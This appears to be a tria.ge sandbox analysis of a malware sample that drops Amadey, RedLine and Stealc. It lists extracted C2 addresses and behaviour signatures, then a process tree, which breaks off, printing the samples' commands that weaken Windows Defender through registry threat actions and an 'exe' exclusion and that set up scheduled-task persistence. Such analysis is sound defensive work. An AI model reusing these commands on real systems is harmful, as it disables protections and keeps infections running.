Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09/08/2024, 08:30

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    2efc4b80fdb9b66eabf08e3507c5587cb468ed423fd084c5825cfaae05c2fca8.exe

  • Size

    1.8MB

  • MD5

    54a7169c7787b93f74b4bceb783cc91e

  • SHA1

    68138ff9acd3eedb7a4c7dab8003e3c9770a8736

  • SHA256

    2efc4b80fdb9b66eabf08e3507c5587cb468ed423fd084c5825cfaae05c2fca8

  • SHA512

    7b37ea0392c0d063c9e2146e8a80765a95a44fac949190c8d290f35c7de3c99c01ad501e6e6ee361c95c0c2ed275bb45f937564cbeed2e60792bde4560604138

  • SSDEEP

    49152:W6+K4yHpYN8gyY7Mo3yZxHqri/LoVgz3YOYu:WtPyJJcMewxKXgzwu

Score
10/10
amadeyredlinestealcdefaultfed3aalivetrafficcredential_accessdefense_evasiondiscoveryevasionexecutioninfostealerspywarestealertrojan

Malware Config

Extracted

Family

amadey

Version

4.41

Botnet

fed3aa

C2

http://185.215.113.16

Attributes
  • install_dir

    44111dbc49

  • install_file

    axplong.exe

  • strings_key

    8d0ad6945b1a30a186ec2d30be6db0b5

  • url_paths

    /Jo89Ku7d/index.php

rc4.plain

Extracted

Family

redline

Botnet

LiveTraffic

C2

20.52.165.210:39030

Extracted

Family

redline

C2

185.215.113.67:21405

Extracted

Family

stealc

Botnet

default

C2

http://185.215.113.17

Attributes
  • url_path

    /2fb6c2cc8dce150a.php

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 3 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

    credential_accessstealer
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 5 IoCs
    evasion
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

    Run Powershell and hide display window.

    execution
  • Downloads MZ/PE file
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 6 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 3 IoCs
  • Executes dropped EXE 22 IoCs
  • Identifies Wine through registry keys 2 TTPs 5 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Indirect Command Execution 1 TTPs 17 IoCs

    Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

    defense_evasion
  • Loads dropped DLL 3 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs
  • Drops file in System32 directory 31 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 6 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2efc4b80fdb9b66eabf08e3507c5587cb468ed423fd084c5825cfaae05c2fca8.exe
    "C:\Users\Admin\AppData\Local\Temp\2efc4b80fdb9b66eabf08e3507c5587cb468ed423fd084c5825cfaae05c2fca8.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4684
    • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
      "C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3504
      • C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe
        "C:\Users\Admin\AppData\Local\Temp\1000002001\GOLD.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1920
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4560
      • C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe
        "C:\Users\Admin\AppData\Local\Temp\1000004001\crypteda.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3684
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:2192
          • C:\Users\Admin\AppData\Roaming\oUcY9jgZS2.exe
            "C:\Users\Admin\AppData\Roaming\oUcY9jgZS2.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4580
          • C:\Users\Admin\AppData\Roaming\SyukbGnrwy.exe
            "C:\Users\Admin\AppData\Roaming\SyukbGnrwy.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3396
      • C:\Users\Admin\AppData\Local\Temp\1000005001\newalp.exe
        "C:\Users\Admin\AppData\Local\Temp\1000005001\newalp.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Drops file in Windows directory
        • Suspicious use of WriteProcessMemory
        PID:2396
        • C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
          "C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          PID:2036
      • C:\Users\Admin\AppData\Local\Temp\1000050001\06082025.exe
        "C:\Users\Admin\AppData\Local\Temp\1000050001\06082025.exe"
        3⤵
        • Executes dropped EXE
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4016
      • C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default.exe
        "C:\Users\Admin\AppData\Local\Temp\1000066001\stealc_default.exe"
        3⤵
        • Executes dropped EXE
        • Loads dropped DLL
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:2608
      • C:\Users\Admin\AppData\Local\Temp\1000069001\umrfile%20.exe
        "C:\Users\Admin\AppData\Local\Temp\1000069001\umrfile%20.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4552
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe"
          4⤵
            PID:1940
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
            4⤵
              PID:3868
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
              4⤵
              • Drops startup file
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1948
              • C:\Users\Admin\Pictures\IshOuIUWWlEgr4Vf6L9x4Q51.exe
                "C:\Users\Admin\Pictures\IshOuIUWWlEgr4Vf6L9x4Q51.exe"
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Checks processor information in registry
                PID:2112
              • C:\Users\Admin\Pictures\SEF2PkBb9sZ4ZYhsFKFSOY0s.exe
                "C:\Users\Admin\Pictures\SEF2PkBb9sZ4ZYhsFKFSOY0s.exe"
                5⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                PID:2264
                • C:\Users\Admin\AppData\Local\Temp\7zSDF83.tmp\Install.exe
                  .\Install.exe
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:4380
                  • C:\Users\Admin\AppData\Local\Temp\7zSE1C5.tmp\Install.exe
                    .\Install.exe /chnsTdidx "385104" /S
                    7⤵
                    • Checks BIOS information in registry
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Enumerates system info in registry
                    PID:4684
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                      8⤵
                        PID:2124
                        • C:\Windows\SysWOW64\forfiles.exe
                          forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                          9⤵
                          • Indirect Command Execution
                          • System Location Discovery: System Language Discovery
                          PID:2648
                          • C:\Windows\SysWOW64\cmd.exe
                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                            10⤵
                              PID:3872
                              • \??\c:\windows\SysWOW64\reg.exe
                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                11⤵
                                • System Location Discovery: System Language Discovery
                                PID:696
                          • C:\Windows\SysWOW64\forfiles.exe
                            forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                            9⤵
                            • Indirect Command Execution
                            • System Location Discovery: System Language Discovery
                            PID:3608
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                              10⤵
                                PID:2728
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                  11⤵
                                    PID:1292
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                9⤵
                                • Indirect Command Execution
                                PID:1048
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                  10⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3204
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                    11⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:2136
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                9⤵
                                • Indirect Command Execution
                                PID:1824
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                  10⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4040
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                    11⤵
                                    • System Location Discovery: System Language Discovery
                                    PID:216
                              • C:\Windows\SysWOW64\forfiles.exe
                                forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                9⤵
                                • Indirect Command Execution
                                • System Location Discovery: System Language Discovery
                                PID:4376
                                • C:\Windows\SysWOW64\cmd.exe
                                  /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                  10⤵
                                    PID:4964
                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                      powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                      11⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:3632
                                      • C:\Windows\SysWOW64\gpupdate.exe
                                        "C:\Windows\system32\gpupdate.exe" /force
                                        12⤵
                                          PID:2884
                                • C:\Windows\SysWOW64\forfiles.exe
                                  "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                  8⤵
                                  • Indirect Command Execution
                                  PID:1920
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                    9⤵
                                      PID:2284
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                        10⤵
                                        • Command and Scripting Interpreter: PowerShell
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3604
                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                          11⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4232
                                  • C:\Windows\SysWOW64\schtasks.exe
                                    schtasks /CREATE /TN "bvobQgTgLADiTwblyc" /SC once /ST 08:32:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\7zSE1C5.tmp\Install.exe\" Sj /wAUdidZxG 385104 /S" /V1 /F
                                    8⤵
                                    • Drops file in Windows directory
                                    • System Location Discovery: System Language Discovery
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:4864
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4684 -s 880
                                    8⤵
                                    • Program crash
                                    PID:3076
                    • C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
                      C:\Users\Admin\AppData\Local\Temp\0ae19c9b3d\Hkbsse.exe
                      1⤵
                      • Executes dropped EXE
                      PID:1956
                    • C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                      C:\Users\Admin\AppData\Local\Temp\44111dbc49\axplong.exe
                      1⤵
                      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                      • Checks BIOS information in registry
                      • Executes dropped EXE
                      • Identifies Wine through registry keys
                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                      • Suspicious behavior: EnumeratesProcesses
                      PID:2196
                    • C:\Users\Admin\AppData\Local\Temp\7zSE1C5.tmp\Install.exe
                      C:\Users\Admin\AppData\Local\Temp\7zSE1C5.tmp\Install.exe Sj /wAUdidZxG 385104 /S
                      1⤵
                      • Executes dropped EXE
                      • Drops desktop.ini file(s)
                      • Drops file in System32 directory
                      • System Location Discovery: System Language Discovery
                      • Modifies data under HKEY_USERS
                      PID:2116
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                        2⤵
                          PID:4824
                          • C:\Windows\SysWOW64\forfiles.exe
                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                            3⤵
                            • Indirect Command Execution
                            PID:3956
                            • C:\Windows\SysWOW64\cmd.exe
                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                              4⤵
                                PID:1176
                                • \??\c:\windows\SysWOW64\reg.exe
                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                  5⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4668
                            • C:\Windows\SysWOW64\forfiles.exe
                              forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                              3⤵
                              • Indirect Command Execution
                              PID:4112
                              • C:\Windows\SysWOW64\cmd.exe
                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                4⤵
                                  PID:2236
                                  • \??\c:\windows\SysWOW64\reg.exe
                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                    5⤵
                                      PID:4392
                                • C:\Windows\SysWOW64\forfiles.exe
                                  forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                  3⤵
                                  • Indirect Command Execution
                                  PID:1456
                                  • C:\Windows\SysWOW64\cmd.exe
                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                    4⤵
                                      PID:1004
                                      • \??\c:\windows\SysWOW64\reg.exe
                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                        5⤵
                                          PID:5104
                                    • C:\Windows\SysWOW64\forfiles.exe
                                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                      3⤵
                                      • Indirect Command Execution
                                      PID:4560
                                      • C:\Windows\SysWOW64\cmd.exe
                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                        4⤵
                                          PID:3476
                                          • \??\c:\windows\SysWOW64\reg.exe
                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                            5⤵
                                              PID:2656
                                        • C:\Windows\SysWOW64\forfiles.exe
                                          forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                          3⤵
                                          • Indirect Command Execution
                                          PID:2076
                                          • C:\Windows\SysWOW64\cmd.exe
                                            /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                            4⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3100
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                              5⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Drops file in System32 directory
                                              • System Location Discovery: System Language Discovery
                                              • Modifies data under HKEY_USERS
                                              • Suspicious behavior: EnumeratesProcesses
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:1276
                                              • C:\Windows\SysWOW64\gpupdate.exe
                                                "C:\Windows\system32\gpupdate.exe" /force
                                                6⤵
                                                  PID:4864
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                                          2⤵
                                          • Drops file in System32 directory
                                          • System Location Discovery: System Language Discovery
                                          • Modifies data under HKEY_USERS
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4492
                                          • C:\Windows\SysWOW64\cmd.exe
